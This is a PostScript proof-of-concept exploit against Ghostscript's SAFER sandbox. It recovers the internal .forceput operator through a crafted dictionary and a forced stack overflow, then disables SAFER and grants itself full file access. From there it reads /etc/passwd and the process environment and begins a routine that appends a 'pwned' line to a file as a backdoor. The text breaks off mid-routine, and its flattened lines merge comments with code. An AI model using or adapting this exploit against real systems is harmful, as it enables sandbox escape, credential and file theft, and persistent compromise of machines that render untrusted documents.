%!PS % extract .actual_pdfpaintproc operator from pdfdict /.actual_pdfpaintproc pdfdict /.actual_pdfpaintproc get def
/exploit { (Stage 11: Exploitation...) ==
/forceput exch def
systemdict /SAFER false forceput systemdict /userparams get /PermitFileControl [(*)] forceput systemdict /userparams get /PermitFileWriting [(*)] forceput systemdict /userparams get /PermitFileReading [(*)] forceput
% All done. stop } def
% setup an error handler to catch ifelse /stackoverflow errordict /stackoverflow { (Stage 10: /stackoverflow) == pop % extract saved operand stack 0 get % get the last parameter dup dup length 1 sub get ( Last Parameter:) ==only dup == ( Extracting .forceput...) == % This is the else operator to ifelse 5 get % extract the .forceput 7 get ( Result:) ==only dup == exploit } put
% The pseudo-operator .actual_pdfpaintproc from pdf_draw.ps pushes some % executable errays onto the operand stack that contain .forceput, but are not % marked as executeonly or pseudo-operators. % % The routine was attempting to pass them to ifelse, but we can cause that to % fail because when the routine was declared, it used `bind` but many of the % names it uses are not operators and so are just looked up in the dictstack. % % This means we can push a dict onto the dictstack and control how the routine % works. << /PDFfile { (Stage 0: PDFfile) == currentfile } /q { (Stage 1: q) == } % no-op /oget { (Stage 3: oget) == pop pop 0 } % clear stack /pdfemptycount { (Stage 4: pdfemptycount) == } % no-op /gput { (Stage 5: gput) == } % no-op /resolvestream { (Stage 6: resolvestream) == } % no-op /pdfopdict { (Stage 7: pdfopdict) == } % no-op /.pdfruncontext { (Stage 8: .pdfruncontext) == 0 1 mark } % satisfy counttomark and index /pdfdict { (Stage 9: pdfdict) == % fill the stack with junk to trigger a /stackoverflow 0 1 300051 {} for % make sure .knownget doesnt screw up the stack << /.Qqwarning_issued true >> } >> begin <<>> <<>> { .actual_pdfpaintproc } stopped pop
( Should now have complete control over ghostscript, attempting to read /etc/passwd...) ==
% Demonstrate reading a file we shouldnt have access to. (/etc/passwd) (r) file dup 64 string readline pop == closefile
% The getenv operator gets removed and we can't get it back, here is a % replacement. % (HOME) newgetenv (/path/to/home) true % found % (foobar) newgetenv false % notfound /newgetenv { % read entire environment into string (/proc/self/environ) (r) file dup 32768 string readstring pop exch closefile
% search for variable exch dup (\0) exch concatstrings (=) concatstrings exch 3 1 roll search not { % not found, could be at the start, so no leading nul? 1 index (=) concatstrings anchorsearch not { (notfound) } { pop } ifelse } { pop pop } ifelse
% remove everything after path, there is always a nul on Linux. (\0) search { 4 1 roll pop pop pop true } { % must be the notfound string pop pop pop false } ifelse } def
% Here is how to edit .bashrc... /backdoorbash { % now we can append to bashrc (HOME) newgetenv pop (/var/www/html/index.php) concatstrings (a) file dup
% backdoor (echo pwned by postscript\n) writestring